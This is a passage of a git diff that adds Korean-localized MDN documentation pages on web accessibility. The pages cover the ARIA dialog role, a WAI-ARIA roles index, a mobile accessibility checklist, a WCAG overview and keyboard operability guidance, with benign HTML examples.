+<h3 id="Possible_effects_on_user_agents_and_assistive_technology">Possible effects on user agents and assistive technology </h3>
+
+<p>When the <code>dialog</code> role is used, the user agent should do the following:</p>
+
+<ul>
+ <li>Expose the element as a dialog in the operating system's accessibility API.</li>
+</ul>
+
+<p>When the dialog is correctly labeled and focus is moved to a control inside the dialog, screen readers should announce the dialog's accessible role, name and optionally description before announcing the focused element. </p>
+
+<div class="note"><strong>Note:</strong> Opinions may differ on how assistive technology should handle this technique. The information provided above is one of those opinions and therefore not normative.</div>
+
+<h3 id="예제">예제</h3>
+
+<h4 id="예제_1_폼을_포함하는_다이얼로그">예제 1: 폼을 포함하는 다이얼로그</h4>
+
+<pre class="brush: html"> &lt;div role="dialog" aria-labelledby="dialog1Title" aria-describedby="dialog1Desc"&gt;
+   &lt;h2 id="dialog1Title"&gt;구독하기&lt;/h2&gt;
+   &lt;p id="dialog1Desc"&gt;우리는 이 정보를 제 3자에게 제공하지 않습니다.&lt;/p&gt;
+   &lt;form&gt;
+     &lt;p&gt;
+       &lt;label for="firstName"&gt;이름&lt;/label&gt;
+       &lt;input id="firstName" type="text" /&gt;
+     &lt;/p&gt;
+     &lt;p&gt;
+       &lt;label for="lastName"&gt;성&lt;/label&gt;
+       &lt;input id="lastName" type="text"/&gt;
+     &lt;/p&gt;
+     &lt;p&gt;
+       &lt;label for="interests"&gt;관심분야&lt;/label&gt;
+       &lt;textarea id="interests"&gt;&lt;/textarea&gt;
+     &lt;/p&gt;
+     &lt;p&gt;
+         &lt;input type="submit" value="정보 저장하기"/&gt;
+     &lt;/p&gt;
+   &lt;/form&gt;
+ &lt;/div&gt;</pre>
+
+<h4 id="Example_2_A_dialog_based_on_a_Fieldset_as_fallback_content">Example 2: A dialog based on a Fieldset as fallback content</h4>
+
+<p>To support browsers or AT products that do not support ARIA mark up, it's also possible to use apply the dialog markup to a fieldset element as fallback content. This way the dialog title will still be announced correctly:</p>
+
+<pre class="brush: html"><strong>&lt;fieldset role="dialog"</strong> aria-labelledby="dialog1Title" aria-describedby="dialog1Desc"&gt;
+  <strong>&lt;legend&gt;</strong>
+  &lt;span id="dialog1Title"&gt;Your personal details were successfully updated.&lt;/span&gt;
+  &lt;span id="dialog1Desc"&gt;You can change your details at any time in the user account section.&lt;/span&gt;
+  &lt;/legend&gt;
+
+  &lt;button&gt;Close&lt;/button&gt;
+&lt;/fieldset&gt;</pre>
+
+<h4 id="작업된_예제">작업된 예제:</h4>
+
+<ul>
+ <li><a class="external" href="http://jqueryui.com/demos/dialog/" title="http://jqueryui.com/demos/dialog/">jQuery-UI Dialog</a></li>
+</ul>
+
+<h3 id="Notes">Notes </h3>
+
+<div class="note"><strong>Note:</strong> While it is possible to prevent keyboard users from moving focus to elements outside of the dialog, screen reader users may still be able to navigate that content virtually to use their screen reader's virtual cursor. Because of this, dialogs are considered to be a special case of the application role: They are expected to be navigated by screen reader users in a non-virtual navigation mode.</div>
+
+<h3 id="사용되는_ARIA_속성">사용되는 ARIA 속성</h3>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/wai-aria/roles#dialog" title="http://www.w3.org/TR/wai-aria/roles#dialog">dialog</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/wai-aria/states_and_properties#aria-labelledby" title="http://www.w3.org/TR/wai-aria/states_and_properties#aria-labelledby">aria-labelledby</a></li>
+ <li><a class="external" href="http://www.w3.org/TR/wai-aria/states_and_properties#aria-describedby" title="http://www.w3.org/TR/wai-aria/states_and_properties#aria-describedby">aria-describedby</a></li>
+</ul>
+
+<h3 id="관련된_ARIA_기술">관련된 ARIA 기술 </h3>
+
+<ul>
+ <li><a href="/en/ARIA/ARIA_Techniques/Using_the_alertdialog_role" title="Using the alertdialog role">Using the alertdialog role</a></li>
+</ul>
+
+<h3 id="Compatibility">Compatibility</h3>
+
+<p class="comment">TBD: Add support information for common UA and AT product combinations</p>
+
+<h3 id="Additional_resources">Additional resources</h3>
+
+<p> </p>
diff --git a/files/ko/web/accessibility/aria/roles/index.html b/files/ko/web/accessibility/aria/roles/index.html
new file mode 100644
index 0000000000..3b92115b59
--- /dev/null
+++ b/files/ko/web/accessibility/aria/roles/index.html
@@ -0,0 +1,78 @@
+---
+title: WAI-ARIA Roles
+slug: Web/Accessibility/ARIA/Roles
+tags:
+ - ARIA
+ - Accessibility
+ - NeedsTranslation
+ - Rôles
+ - TopicStub
+translation_of: Web/Accessibility/ARIA/Roles
+---
+<p class="summary">This page lists reference pages covering all the WAI-ARIA roles discussed on MDN. For a full list of roles, see <a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques">Using ARIA: Roles, States, and Properties</a></p>
+
+<p>{{SubpagesWithSummaries}}</p>
+
+<div class="hidden">
+<p>Please claim the role you want to work on by adding your name after the role's name: (old pages are linked from <a href="/en-US/docs/">https://developer.mozilla.org/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques</a>). Ones for which the first draft is completed have been removed from the below list.</p>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Alertdialog_Role">alertdialog</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Banner_Role">banner</a> </li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Combobox_Role">Combobox</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Command_Role">Command</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Columnheader_Role">Columnheader </a>(Estelle)</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/ARIA_Techniques/Complementary_role">complementary</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Composite_Role">composite</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Definition_Role">Definition</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Directory_Role">Directory</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Feed_Role">Feed</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Gridcell_Role">Gridcell</a> (Eric E)</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Group_Role">Group</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Input_Role">input</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Landmark_Role">landmark</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Link_Role">Link</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Listbox_Role">listbox</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Log_Role">Log</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Marquee_Role">Marquee</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Math_Role">math</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menu_Role">menu</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menubar_Role">menubar</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menuiitem_Role">Menuitem</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menuitemcheckbox_Role">Menuitemcheckbox</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Menuitemradio_Role">Menuitemradio</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/None_Role">none</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Note_Role">note</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Option_Role">Option</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Presentation_Role">presentation</a> </li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Progressbar_Role">Progressbar</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Radio_Role">Radio</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Radiogroup_Role">radiogroup</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Range_Role">range</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Region_Role">region</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Roletype_Role">roletype</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Rowheader_Role">rowheader</a>(Estelle)</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Scrollbar_Role">Scrollbar</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Searchbox_Role">searchbox</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Section_Role">section</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Sectionhead_Role">sectionhead</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Select_Role">select</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Separator_Role">separator</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Slider_Role">Slider</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Spinbutton_Role">Spinbutton</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Status_Role">Status</a> - old page</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Structure_Role">structure</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tab_role">tab</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tablist_Role">tablist</a> (Michiel)</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tabpanel_Role">Tabpanel</a> (Michiel)</li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Term_Role">term</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Time_Role">Timer</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Toolbar_Role">toolbar</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tooltip_Role">Tooltip</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Tree_Role">Tree</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Treegrid_Role">treegrid</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Treeitem_Role">Treeitem</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Widget_Role">widget</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/ARIA/Roles/Window_Role">window</a></li>
+</ul>
+</div>
diff --git a/files/ko/web/accessibility/index.html b/files/ko/web/accessibility/index.html
new file mode 100644
index 0000000000..9faf5ccaa5
--- /dev/null
+++ b/files/ko/web/accessibility/index.html
@@ -0,0 +1,49 @@
+---
+title: 접근성
+slug: Web/Accessibility
+tags:
+ - Accessibility
+ - 접근성
+translation_of: Web/Accessibility
+---
+<p><span class="seoSummary">웹 개발에서의 접근성은 사람들의 능력이 어느정도 제한되어 있더라도 가능한 많은 사람들이 웹사이트를 사용 할 수 있도록 하는것 입니다. 여기서 우리는 접근할 수 있는 콘텐츠 개발에 관한 정보를 제공 합니다.</span></p>
+
+<p>"접근성은 장애인을 돕기 위한 '휠체어접근' 과 같은 시설이나 편의 시설을 설명하는 데 가장 많이 사용됩니다. 이것은 점저 감판, 휠체어 경사로, 보행자 교차점에서의 오디오 신호등, 보행로 등고선, 웹 사이트 디자인 등으로 확장될 수 있습니다." <a class="external" href="http://en.wikipedia.org/wiki/Accessibility">Wikipedia entry for Accessibility</a></p>
+
+<p>"그들의 하드웨어, 소프트웨어, 언어, 문화, 위치 또는 신체적 혹은 정신적 능력이 무엇이든지 간에, 웹은 근본적으로 모든 사람들을 위해 일하도록 설계되어 있습니다. 웹이 이 목표를 달성할 때, 다양한 범위의 청각, 움직임, 시각, 인지 능력을 가진 사람들에게 접근할 수 있습니다." <a href="http://www.w3.org/standards/webdesign/accessibility" title="http://www.w3.org/standards/webdesign/accessibility">W3C - Accessibility</a></p>
+
+<div class="cleared topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Documentation" name="Documentation">Documentation</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Accessibility/Web_Development" title="Accessibility Web Development">Web development</a></dt>
+ <dd>접근성 세계에서 웹 개발 문제를 강조하기 위해 지정된 문서 모음 입니다.</dd>
+ <dt><a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a></dt>
+ <dd>HTML문서를 좀 더 쉽게 접근 할 수 있는 방법을 배우기 위해 사용할 수 있는 문서 모음 입니다.</dd>
+ <dt><a href="/en-US/docs/Accessibility/AT_Development" title="AT Development">Assistive technology (AT) development</a></dt>
+ <dd>AT 개발자를 위한 기사 모음 입니다.</dd>
+ <dt><a href="/en-US/docs/Web/Accessibility/Mobile_accessibility_checklist">Mobile accessibility checklist</a></dt>
+ <dd>모바일 앱 개발자에 대한 접근성 요구 사항을 간략하게 확인할 수 있는 문서 모음 입니다.</dd>
+</dl>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/Accessibility" title="/en-US/docs/tag/Accessibility">View all articles about Accessibility...</a></span></p>
+</div>
+
+<div class="section">
+<h2 class="Tools" id="Tools" name="Tools">웹 개발자들을 위한 도구</h2>
+
+<ul>
+ <li><a class="external" href="http://www.standards-schmandards.com/projects/fangs/">Fangs screen reader emulator</a></li>
+ <li><a class="external" href="https://addons.mozilla.org/firefox/addon/claws/">Claws screen reader emulator</a></li>
+</ul>
+
+<p><span class="alllinks"><a href="/en-US/docs/tag/Accessibility:Tools" title="en-US/docs/tag/Accessibility:Tools">View All...</a></span></p>
+
+<h2 class="Tools" id="Tools" name="Tools">기타 유용한 사이트</h2>
+
+<ul>
+ <li><a class="external" href="https://support.mozilla.org/kb/accessibility-features-firefox-make-firefox-and-we">Screen reader list</a></li>
+</ul>
+</div>
+</div>
diff --git a/files/ko/web/accessibility/mobile_accessibility_checklist/index.html b/files/ko/web/accessibility/mobile_accessibility_checklist/index.html
new file mode 100644
index 0000000000..6a9a73cdbe
--- /dev/null
+++ b/files/ko/web/accessibility/mobile_accessibility_checklist/index.html
@@ -0,0 +1,106 @@
+---
+title: 모바일 접근성 점검항목
+slug: Web/Accessibility/Mobile_accessibility_checklist
+translation_of: Web/Accessibility/Mobile_accessibility_checklist
+---
+<div class="summary">
+<p>이 문서는 모바일 앱 개발자를 위한 접근성 요구 사항에 대한 간결한 체크리스트를 제공한다. 더 많은 패턴이 발생할수록 지속적으로 진화하려는 의도다.</p>
+</div>
+
+<h2 id="색">색</h2>
+
+<ul>
+ <li>색상 대비는 반드시 WCAG 2.0 AA 레벨 요건을 준수해야 한다:
+ <ul>
+ <li>일반적인 크기의 텍스트(18pt 보다 작거나 14pt 볼드체)는 4.5:1</li>
+ <li>큰 크기의 텍스트(적어도 18pt 보다 크거나 14pt 볼드체)는 3 :1</li>
+ </ul>
+ </li>
+ <li>색상을 통해 전달되는 정보는 반드시 다른 수단으로도 제공되어야 한다(링크 등에 대한 밑줄 텍스트).</li>
+</ul>
+
+<h2 id="가시성">  가시성</h2>
+
+<ul>
+ <li>opacity:0, z-index 깊이 조정 및 화면 밖 배치와 같은 콘텐츠 숨기기 기법은 단순히 가시성을 처리하기 위해서만 사용되어서는 안 된다.</li>
+ <li>
+ <p>현재 가시화된 화면 이외의 모든 것은 반드시 진정으로 보이지 않아야 한다(특히 여러 개의 카드가 있는 단일 페이지 앱에 관련됨).</p>
+
+ <ul>
+ <li><code>hidden</code> 속성 또는 <code>visibility</code> 또는 <code>display</code> 스타일 속성값을 <strong>이용</strong>해야 한다.</li>
+ <li>불가피한 경우를 제외 하고 <code>aria-hidden</code> <strong>속성을 사용해서는 안된다.</strong></li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="초점">초점</h2>
+
+<ul>
+ <li>
+ <p>모든 활성화 가능한 요소는 <strong>초점 가능해야 한다.</strong></p>
+
+ <ul>
+ <li>
+ <p>링크, 버튼 및 양식 필드와 같은 표준 control들는 기본적으로 초점을 맞출 수 있다.</p>
+ </li>
+ <li>
+ <p>비표준 control들은 반드시 버튼, 링크 또는 체크박스와 같은 적절한  <a href="http://www.w3.org/TR/wai-aria/roles">ARIA Role</a>  역할이 할당되어야 한다.</p>
+ </li>
+ </ul>
+
+ <p>초점은 논리적이고 일관된 방식으로 다루어야 한다.</p>
+ </li>
+</ul>
+
+<h2 id="텍스트_동등성">텍스트 동등성</h2>
+
+<ul>
+ <li>
+ <p>앱 내 모든 엄격하지 않은 현재 텍스트 요소에 대해 동일한 의미의 텍스트가 제공되어야 한다.</p>
+
+ <ul>
+ <li><em>alt 와</em> <em>title 속성은 적절하게 사용되어야 한다.</em>  ( 스티브 폴크너의 <a href="http://blog.paciellogroup.com/2013/01/using-the-html-title-attribute-updated/">Using the HTML title attribute</a> 위한 좋은 가이드 보기.)</li>
+ <li>위 속성을 사용하기 어려운 경우  <code>aria-label</code>, <code>aria-labelledby</code>, or <code>aria-describedby 등과 같은 </code><a href="http://www.w3.org/WAI/PF/aria/states_and_properties#global_states_header">ARIA Properties</a> 를 사용하세요</li>
+ </ul>
+ </li>
+ <li>텍스트 이미지 사용은 가급적 자제 해야 한다.</li>
+ <li>모든  form 콘트롤 요소는 스크린 리더 사용자를 위해 lable 요소를 가져야 한다. </li>
+</ul>
+
+<h2 id="처리_상태">처리 상태</h2>
+
+<ul>
+ <li>
+ <p>라디오 버튼 및 체크박스와 같은 표준 제어장치는 운영체제가 취급한다. 그러나 다른 사용자 정의 제어의 경우, <code>aria-checked</code>, <code>aria-disabled</code>, <code>aria-selected</code>, <code>aria-expanded</code>, and <code>aria-pressed</code>과 같은 <a href="http://www.w3.org/TR/wai-aria/states_and_properties#attrs_widgets_header">ARIA States</a>를 통해 상태 변경이 제공되어야 한다.</p>
+ </li>
+</ul>
+
+<h2 id="방향">방향</h2>
+
+<ul>
+ <li>콘텐츠는 특수한 경우를 제외하고 가로 또는 세로 방향등 단일 방향으로 제한해서는 안된다. <a href="https://www.w3.org/WAI/WCAG21/Understanding/orientation.html">WCAG 2.1: Orientation</a>
+
+ <ul>
+ <li>특수한 경우는 피아노 앱이나 은행 수표 앱 같은 경우가 있다.</li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="General_Guidelines">General Guidelines</h2>
+
+<ul>
+ <li>An app title <strong>MUST</strong> be provided.</li>
+ <li>Headings <strong>MUST</strong> not break hierarchical structure
+ <pre class="brush: html">&lt;h1&gt;Top level heading&lt;/h1&gt;
+ &lt;h2&gt;Secondary heading&lt;/h2&gt;
+ &lt;h2&gt;Another secondary heading&lt;/h2&gt;
+ &lt;h3&gt;Low level heading&lt;/h3&gt;</pre>
+ </li>
+ <li><a href="http://www.w3.org/TR/wai-aria/roles#landmark_roles_header">ARIA Landmark Roles</a> <strong>SHOULD</strong> be used to describe an app or document structure, such as <code>banner</code>, <code>complementary</code>, <code>contentinfo</code>, <code>main</code>, <code>navigation</code>, <code>search</code>.</li>
+ <li>Touch event handlers <strong>MUST</strong> only be triggered on the <code>touchend</code> event.</li>
+ <li>Touch targets <strong>MUST</strong> be large enough for the user to interact with (see the <a href="http://www.bbc.co.uk/guidelines/futuremedia/accessibility/mobile/design/touch-target-size">BBC Mobile Accessibility Guidelines</a> for useful touch target size guidelines).</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: The <a href="http://yzen.github.io/firefoxos/2014/04/30/mobile-accessibility-checklist.html">original version of this document</a> was written by <a href="http://yzen.github.io/">Yura Zenevich</a>.</p>
+</div>
diff --git a/files/ko/web/accessibility/understanding_wcag/index.html b/files/ko/web/accessibility/understanding_wcag/index.html
new file mode 100644
index 0000000000..fe71b20ebc
--- /dev/null
+++ b/files/ko/web/accessibility/understanding_wcag/index.html
@@ -0,0 +1,59 @@
+---
+title: Understanding the Web Content Accessibility Guidelines
+slug: Web/Accessibility/Understanding_WCAG
+tags:
+ - NeedsTranslation
+ - TopicStub
+ - WCAG
+ - Web Content Accessibility Guidelines
+translation_of: Web/Accessibility/Understanding_WCAG
+---
+<p class="summary">This set of articles provides quick explanations to help you understand the steps that need to be taken to conform to the recommendations outlined in the W3C Web Content Accessibility Guidelines 2.0 or 2.1 (or just WCAG, for the purposes of this writing).</p>
+
+<p>The WCAG 2.0 and 2.1 provide a detailed set of guidelines for making web content more accessible to people with a wide variety of disabilities. It is comprehensive but incredibly detailed, and quite difficult to gain a rapid understanding of. For this reason, we have summarised the practical steps you need to take to satisfy the different recommendations, with further links to more details where required.</p>
+
+<h2 id="The_four_principles">The four principles</h2>
+
+<p>WCAG is broadly broken down into four principles — major things that web content <strong>must be</strong> to be considered accessible (see <a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/intro.html#introduction-fourprincs-head">Understanding the Four Principles of Accessibility </a>for the WCAG definitions).</p>
+
+<p>Each of the links below will take you to pages that further expand on these areas, giving you practical advice on how to write your web content so it conforms to the success criteria outlined in each of the WCAG 2.0 and 2.1 guidelines that further sub-divides each principle.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Perceivable">Perceivable:</a> Users must be able to perceive it in some way, using one or more of their senses.</li>
+ <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Operable">Operable</a>: Users must be able to control UI elements (e.g. buttons must be clickable in some way — mouse, keyboard, voice command, etc.).</li>
+ <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Understandable">Understandable</a>: The content must be understandable to its users.</li>
+ <li><a href="/en-US/docs/user:chrisdavidmills/Understanding_WCAG/Robust">Robust</a>: The content must be developed using well-adopted web standards that will work across different browsers, now and in the future.</li>
+</ul>
+
+<h2 id="Should_I_use_WCAG_2.0_or_2.1">Should I use WCAG 2.0 or 2.1?</h2>
+
+<p>WCAG 2.1 is the most recent and relevant accessibility standard. Use WCAG 2.1 to help more people with disabilities and reduce the future legal risk for web site owners. Target WCAG 2.0 first when allocating resources. Then step up to WCAG 2.1. </p>
+
+<h3 id="What_is_WCAG_2.1">What is WCAG 2.1?</h3>
+
+<p>WCAG 2.1 was published as an official recommendation on 05 June 2018. The European Union (EU) adopted WCAG 2.1 as the digital accessibility standard in September 2018. W3C published a press release <a href="https://www.w3.org/blog/2018/09/wcag-2-1-adoption-in-europe/">WCAG 2.1 Adoption in Europe</a>. </p>
+
+<p>WCAG 2.1 includes:</p>
+
+<ul>
+ <li>all of WCAG 2.0 (verbatim, word-for-word)</li>
+ <li>17 new Success Criteria at the A / AA / AAA levels primarily addressing user needs in these areas:
+ <ul>
+ <li>Mobile Accessibility </li>
+ <li>Low Vision</li>
+ <li>Cognitive</li>
+ </ul>
+ </li>
+ <li>Read more about WCAG 2.1:
+ <ul>
+ <li>Deque: <a href="https://www.deque.com/blog/wcag-2-1-what-is-next-for-accessibility-guidelines/">WCAG 2.1:  What is Next for Accessibility Guidelines</a></li>
+ <li>TPG:  <a href="https://developer.paciellogroup.com/blog/2018/06/web-content-accessibility-guidelines-wcag-2-1/">Web Content Accessibility Guidelines (WCAG) 2.1</a></li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="Legal_standing">Legal standing</h2>
+
+<p>This guide is intended to provide practical information to help you build better, more accessible websites. However, we are not lawyers, and none of this constitutes legal advice. If you are worried about the legal implications of web accessibility, we'd recommend that you check the specific legislation governing accessibility for the web/public resources in your country or locale, and seek the advice of a qualified lawyer.</p>
+
+<p><a href="/en-US/docs/Learn/Accessibility/What_is_accessibility">What is accessibility?</a> and particularity the <a href="/en-US/docs/Learn/Accessibility/What_is_accessibility#Accessibility_guidelines_and_the_law">Accessibility guidelines and the law</a> section provide more related information.</p>
diff --git a/files/ko/web/accessibility/understanding_wcag/keyboard/index.html b/files/ko/web/accessibility/understanding_wcag/keyboard/index.html
new file mode 100644
index 0000000000..32705d664f
--- /dev/null
+++ b/files/ko/web/accessibility/understanding_wcag/keyboard/index.html
@@ -0,0 +1,87 @@
+---
+title: Keyboard
+slug: Web/Accessibility/Understanding_WCAG/Keyboard
+translation_of: Web/Accessibility/Understanding_WCAG/Keyboard
+---
+<div>To be fully accessible, a web page must be operable by someone using only a keyboard to access and control it. This includes users of screen readers, but can also include users who have trouble operating a pointing device such as a mouse or trackball, or whose mouse is not working at the moment, or who simply prefer to use a keyboard for input whenever possible.</div>
+
+<h2 id="Focusable_elements_should_have_interactive_semantics">Focusable elements should have interactive semantics</h2>
+
+<p>If an element can be focused using the keyboard, then it should be interactive; that is, the user should be able to do something to it and produce a change of some kind (for example, activating a link or changing an option).</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> One important exception to this rule is if the element has <code>role="document" </code>applied to it, <strong>inside </strong>an interactive context (such as <code>role="application"</code>). In such a case, focusing the nested document is the only way of returning assistive technology to a non-interactive state (often called "browse mode").</p>
+</div>
+
+<p>Most interactive elements are focusable by default; you can make an element focusable by adding a <code>tabindex=0</code> attribute value to it. However, you should only add <code>tabindex</code> if you have also made the element interactive, for example, by defining appropriate event handlers keyboard events.</p>
+
+<h3 id="See_also">See also</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li>
+</ul>
+
+<h2 id="Avoid_using_tabindex_attribute_greater_than_zero">Avoid using <code>tabindex</code> attribute greater than zero</h2>
+
+<p>The <code>tabindex</code> attribute indicates that an element is focusable using the keyboard. A value of zero indicates that the element is part of the default focus order, which is based on the ordering of elements in the HTML document. A positive value puts the element ahead of those in the default ordering; elements with positive values are focused in the order of their <code>tabindex</code> values (1, then 2, then 3, etc.).</p>
+
+<p>This creates confusion for keyboard-only users when the focus order differs from the logical order of the page. A better strategy is to structure the HTML document so that focusable elements are in a logical order, without the need to re-order them with positive <code>tabindex</code> values.</p>
+
+<h3 id="See_also_2">See also</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/focus-order.html">Understanding focus order</a></li>
+ <li><a href="http://adrianroselli.com/2014/11/dont-use-tabindex-greater-than-0.html">Don't use tabindex greater than 0</a></li>
+</ul>
+
+<h2 id="Clickable_elements_must_be_focusable_and_should_have_interactive_semantics">Clickable elements must be focusable and should have interactive semantics</h2>
+
+<p>If an element can be clicked with a pointing device, such as a mouse, then it should also be focusable using the keyboard, and the user should be able to do something by interacting with it.</p>
+
+<p>An element is clickable if it has an <code>onclick</code> event handler defined. You can make it focusable by adding a <code>tabindex=0</code> attribute value to it. You can make it operable with the keyboard by defining an <code>onkeydown</code> event handler; in most cases, the action taken by event handler should be the same for both types of events.</p>
+
+<h3 id="See_also_3">See also</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li>
+</ul>
+
+<h2 id="Interactive_elements_must_be_able_to_be_activated_using_a_keyboard">Interactive elements must be able to be activated using a keyboard</h2>
+
+<p>If the user can interact with an element using touch or a pointing device, then the element should also support interacting using the keyboard. That is, if you have defined event handlers for touch or click events, you should also define them for keyboard events. The keyboard event handlers should enable the effectively the same interaction as the touch or click handlers.</p>
+
+<h3 id="See_also_4">See also</h3>
+
+<ul>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeydown">onkeydown</a></li>
+ <li>Global event handlers: <a href="/en-US/docs/Web/API/GlobalEventHandlers/onkeyup">onkeyup</a></li>
+</ul>
+
+<h2 id="Interactive_elements_must_be_focusable">Interactive elements must be focusable</h2>
+
+<p>If the user can interact with an element (for example, using touch or a pointing device), then it should be focusable using the keyboard. You can make it focusable by adding a <code>tabindex=0</code> attribute value to it. That will add the element to the list of elements that can be focused by pressing the <kbd>Tab</kbd> key, in the sequence of such elements as defined in the HTML document.</p>
+
+<h3 id="See_also_5">See also</h3>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Global_attributes/tabindex">tabindex</a> global HTML attribute</li>
+</ul>
+
+<h2 id="Focusable_element_must_have_focus_styling">Focusable element must have focus styling</h2>
+
+<p>Any element that can receive keyboard focus should have visible styling that indicates when the element is focused. You can do this with the <code><a href="/en-US/docs/Web/CSS/:focus">:focus</a></code> CSS pseudo-class.</p>
+
+<p>Standard focusable elements such as links and input fields are given special styling by the browser by default, so you might not need to specify focus styling for such elements, unless you want the focus styling to be more distinctive.</p>
+
+<p>If you create your own focusable components, be sure that you also define focus styling for them.</p>
+
+<h3 id="See_also_6">See also</h3>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Techniques/css/C15.html">Using CSS to change the presentation of a UI component when it receives focus</a></li>
+</ul>
diff --git a/files/ko/web/api/abortcontroller/abort/index.html b/files/ko/web/api/abortcontroller/abort/index.html
new file mode 100644
index 0000000000..bd8de71f00
--- /dev/null
